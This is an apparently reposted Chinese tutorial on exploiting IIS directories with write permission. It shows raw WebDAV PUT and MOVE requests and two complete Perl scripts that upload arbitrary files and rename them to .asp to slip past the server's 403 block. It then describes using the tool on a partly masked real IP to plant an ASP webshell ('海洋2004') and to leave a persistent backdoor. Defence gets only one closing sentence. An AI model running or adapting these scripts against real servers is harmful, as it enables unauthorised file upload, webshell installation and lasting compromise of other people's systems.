首页 电脑 电脑学堂 查看内容

妙用IIS写权限触发后门

2009-4-21 10:36 582 0

摘要:   提到微软公司的IIS,很多人就会想到“漏洞”:UNICODE、CGI解析、ida、idq、Printer等远程溢出,还有前段去年的webdav远程溢出等,真所谓“百孔千疮”。这些都是IIS本身的程...
关键词: print Scripts 文件 file sock 目录 ASP HTTP Host kaka

  提到微软公司的IIS,很多人就会想到“漏洞”:UNICODE、CGI解析、ida、idq、Printer等远程溢出,还有前段去年的webdav远程溢出等,真所谓“百孔千疮”。这些都是IIS本身的程序漏洞,只要通过打上相应的补丁,就可以在一定程度上保证服务器的安全,但如果是IIS的设置不当(如目录权限,认证方法等等)而引起的安全问题,那危害会更大,因为这一般为管理员所忽视,本文就IIS的可“写入”权限进行分析。   分析   现在让我们看看IIS的一些设置。在IIS 服务管理器中,选择一个目录,看它的属性.在目录属性项里有这么一些选项(日志访问和索引此资源不计):   脚本资源访问: 对网站的脚本可以读取原文件。   读取:     读取目录里面的静态资源。   写入:     用户可以建立以及删除资源。   目录浏览:   用户可以浏览目录内容。   应用程序设置的执行许可中有三个选项:   无:        只能访问静态页面。   纯脚本:      只允许允许脚本,如ASP脚本。   脚本和可执行程序:  可以访问和执行各种文件类型。   我们这里就对“写入”权限进行分析。首先看看IIS是这样“写入”的:Telnet或用NC连接到服务器的Web端口(80)并发送一个如下请求:   PUT /Scripts/my_file.txt HTTP/1.1   Host: iis-server   Content-Length: 10   这时服务器会返回一个100(继续)的信息:   HTTP/1.1 100 Continue   Server: Microsoft-IIS/5.0   Date: Thu, 06 May 2004 10:20:20 GMT   接着,我们输入10个字母:   AAAAAAAAAA   送出这个请求后,看服务器的返回信息,如果是一个201 Created响应:   HTTP/1.1 200 OK   Server: Microsoft-IIS/5.0   Date: Thu, 06 May 2004 10:20:45 GMT   Content-Length: 0   Allow: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, COPY, MOVE, PROPFIND, PROPPATCH,   SEARCH, LOCK, UNLOCK   这样我们就在web的Scripts目录下写入文件my_file.txt内容为“AAAAAAAAAA”。   这里简单说明:   PUT /dir/my_file.txt HTTP/1.1   Host: iis-server   Content-Length: 10   PUT:请求服务器将附件的实体储存在提供的请求URL处,如果该请求URL指向的资源已经存在,则附件实体应被看做是当前原始服务器上资源的修改版本。如果请求URL没有指向现存的资源,该URL将被该请求的用户代理定义成为一个新的资源,原始服务器将用该URL产生这个资源。   Host:是HTTP请求的发送地址。   Content-Length:是内容长度,也就是实体长度,该长度值和上传的文件大小一致。   用NC(telnet)提交数据很烦琐,我们这里写个简单的Perl程序来完成这个复杂的提交过程,在写代码时我们用binmode()方式打开文件,代码如下:   #!/usr/bin/perl   use I:Socket;   $ARGC = @ARGV;   if ($ARGC != 4)   {   print "usage:$0 127.0.0.1 80 kaka.exe /Scripts/file.exe\n";   exit;   }   $host = @ARGV[0];   $port = @ARGV[1];   $file = @ARGV[2];   $path = @ARGV[3];   @s=stat("$file");   $size = $s[7]; #得到文件大小   print "$file size is $size bytes\n";   my $sock = I:Socket::INET->new(Proto =>"tcp",   PeerAddr =>$host,   PeerPort =>$port) || die "Sorry! Could not connect to $host \n";   print $sock "PUT $path HTTP/1.1\n";   print $sock "Host: $host\n";   print $sock "Content-Length: $size\n\n"; #sock连接   open(FILE,"$file");   binmode(FILE); #用2进制打开文件   while (read(FILE,$char,1024)) { #读取文件数据上传   print $sock "$char";   }   print $sock "\n\n";   @req = <$sock>;   print "please wait...\n";   sleep(2);   if ($req[4]=~/200|201/){   print "upfile Succeed!!!" ; #成功显示   }   else{   print "upfile faile!!!\n\n";   print @req;#如果失败显示返回错误   }   close $sock;   close FILE;   下面我们测试下效果如何:   C:\usr\bin>perl.exe iiswt.pl 127.0.0.1 80 kaka.txt /Scripts/kaka.txt   kaka.txt size is 14 bytes   please wait...   upfile Succeed!!!   C:\Inetpub\Scripts>dir kaka.txt   驱动器 C 中的卷没有标签。   卷的序列号是 3CD1-479E   C:\Inetpub\Scripts 的目录   2004-05-05 00:37 14 kaka.txt   1 个文件 14 字节   0 个目录 3,871,080,448 可用字节   这里我们把kaka.txt成功上传到了Web目录Scripts下,因为程序中用了binmode()方式(2进制)打开文件,应该可以上传其他文件,我们先测试下exe文件:   C:\usr\bin>perl.exe iiswt.pl 127.0.0.1 80 perl.exe /Scripts/perl.exe   perl.exe size is 20535 bytes   please wait...   upfile Succeed!!!   C:\Inetpub\Scripts>dir perl.exe   驱动器 C 中的卷没有标签。   卷的序列号是 3CD1-479E   C:\Inetpub\Scripts 的目录   2004-05-05 00:42 20,535 perl.exe   1 个文件 20,535 字节   0 个目录 3,871,031,296 可用字节   成功!可以上传exe了,是不是可以上传任意文件呢?接着来测试ASP文件:   C:\usr\bin>perl.exe iiswt.pl 127.0.0.1 80 kaka.asp /Scripts/kaka.asp   kaka.asp size is 4 bytes   please wait...   upfile faile!!!   HTTP/1.1 100 Continue   Server: Microsoft-IIS/5.0   Date: Tue, 04 May 2004 16:45:51 GMT   HTTP/1.1 403 Forbidden   Server: Microsoft-IIS/5.0   Date: Tue, 04 May 2004 16:45:51 GMT   Connection: close   Content-Type: text/html   Content-Length: 44   <body><h2>HTTP/1.1 403 Forbidden</h2></body>   失败!提示HTTP/1.1 403 Forbidden错误,看来直接用Post方式写ASP不行,经过测试只要是IIS支持的文件类型都会产生HTTP/1.1 403 Forbidden错误。   那我们怎样才可以上传IIS支持的文件类型文件呢?IIS除了可以执行Put,Post,Get等动作外,还可以执行COPY,MOVE等命令,呵呵!我们这可以先把本地ASP上传到远程主机Web目录下的txt等其它文件,在提过COPY,MOVE命令来改为ASP。我们还是先用NC提交测试下:   D:\>nc 127.0.0.1 80   MOVE /scripts/kaka.txt HTTP/1.1   Host:127.0.0.1   Destination: http://127.0.0.1/scripts/kaka.asp   HTTP/1.1 201 Created   Server: Microsoft-IIS/5.0   Date: Sun, 05 Oct 2003 09:30:59 GMT   Location: http://127.0.0.1/scripts/x.asp   Content-Type: text/xml   Content-Length: 0   成功利用MOVE把/scripts/kaka.txt改名/scripts/kaka.asp。这样我们就可以结合Put和Move来完成通过IIS写入文件了,我们还是用Perl来完成。测试写ASP成功:   C:\usr\bin>perl kaka.pl 127.0.0.1 80 kaka.asp /scripts/kaka.asp   ************************************************************   codz by ≯SuperHeiQQ /><QQ:123230273> && lanker<QQ:18779569>   ************************************************************   kaka.asp size is 4 bytes   please wait...   upfile Succeed!!!   Modifyfile Succeed!!!   最终的iiswrite.pl代码如下(代码写的不是很好看,见笑了):   #!/usr/bin/perl   #The iiswrite Script   use I:Socket;   $ARGC = @ARGV;   print "*" x 60;   print "\ncodz by ≯Super<QQ:>\n";   print "*" x 60,"\n";   if ($ARGC != 4)   {   print "usage:$0 127.0.0.1 80 kaka.txt /scripts/my_file.txt\n";   exit;   }   $host = @ARGV[0];   $port = @ARGV[1];   $path = @ARGV[3];   $file = @ARGV[2];   @path=split("/",$path);   $any = pop(@path);   $path1=join("/",@path);   @s=stat("$file");   $size = $s[7];   print "$file size is $size bytes\n";   my $sock = I:Socket::INET->new(Proto =>"tcp",   PeerAddr =>$host,   PeerPort =>$port) || die "Sorry! Could not connect to $host \n";   print $sock "PUT $path1/lanker.txt HTTP/1.1\n";   print $sock "Host: $host\n";   print $sock "Content-Length: $size\n\n";   open(FILE,"$file")|| die "Can't open $file";   binmode(FILE);   while (read(FILE,$char,1024)) {   print $sock "$char";   }   print $sock "\n\n";   @req = <$sock>;   print "please wait...\n";   sleep(2);   if ($req[4]=~/200|201/){   print "upfile Succeed!!!\n" ;   }   else{   print "upfile faile!!!\n";   print "The IIS can't acc write";   }   close $sock;   close FILE;   my $sock = I:Socket::INET->new(Proto =>"tcp",   PeerAddr =>$host,   PeerPort =>$port) || die "Sorry! Could not connect to $host \n";   print $sock "MOVE $path1/lanker.txt HTTP/1.1\n";   print $sock "Host: $host\n";   print $sock "Destination:http://$host:$port$path\n\n\n\n";   @req = <$sock>;   if ($req[0]=~/20\d+|/){   print "Modifyfile Succeed!!!" ;   }   else{   print "upfile faile!!!";   }   close $sock;   Try to use it!   1. 上传web木马。   假如我们已经知道某主机IIS可写,我们就可以远程写入任意文件,包括ASP等,这样我们就可以直接上传一个脚本木马上去了(如海洋2004),直接危及到主机安全。   我们实践一下:得知主机222.241.**.43的Scripts目录可以写,我们运行上面的程序上传海洋新出的ASP木马2004.asp。如图2所示。   C:\usr\bin>perl.exe iiswt2.pl 222.***.**.43 80 2004.asp /scripts/2004.asp   ************************************************************   codz by ≯SuperHei && lanker   ************************************************************   2004.asp size is 39047 bytes   please wait...   upfile Succeed!!!   Modifyfile Succeed!!!   哈哈!写入成功,直接访问http://222.***.**.43/scripts/2004.asp输入密码就可以看到ASP木马界面了。   2.留后门。   利用这样的特性,我们只需要将某个路径改成可写入的,然后直接利用这样的程序就可以留着后门了,这可比直接放ASP后门强很多哦!   防范   所谓“安全是一个整体”,管理员配置和维护服务器时要细心,要重视每个细节。以为一个小小的细节都可能是你的服务器被攻破,本文就是一个例子。防范的方法请看防册的《让WebShell见鬼去》。由于作者的水平有限,难免有错,还望大家多包含。
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部